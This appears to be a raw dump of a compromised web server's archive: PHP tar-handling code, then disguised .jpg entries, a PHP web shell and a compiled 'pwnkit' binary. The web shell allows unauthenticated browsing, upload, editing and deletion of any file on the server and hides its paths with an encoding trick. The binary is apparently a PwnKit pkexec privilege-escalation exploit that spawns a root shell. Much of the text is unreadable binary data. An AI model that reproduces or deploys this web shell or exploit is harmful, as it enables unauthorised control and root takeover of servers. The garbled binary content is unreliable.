				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK!�k��#4yd0ui/67e272a89d6f9.jpg.jpg.tar.gznu�[����+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O527J��L1K���*Hg �����8����� d���*a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@V�
PK!�o<ww67e272b25bcec.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�2<�+�+b3vd5z/bci4w.phpnu�[���<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>000</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>PK!	.mad-rootnu�[���PK!�o<ww67c6da0a349ea.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!C�!)�+�+pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!�o<ww67e272a89d6f9.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
